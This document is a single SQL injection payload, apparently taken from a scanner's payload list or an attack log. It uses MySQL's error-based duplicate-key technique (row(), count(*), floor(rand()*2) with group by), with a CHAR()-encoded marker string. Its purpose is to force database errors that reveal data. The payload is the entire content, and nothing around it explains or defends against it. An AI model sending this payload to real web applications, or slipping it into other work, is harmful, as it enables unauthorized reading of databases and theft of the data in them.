'(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(112),CHAR(114),CHAR(104),CHAR(85),CHAR(106),CHAR(104),CHAR(79),CHAR(122)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))'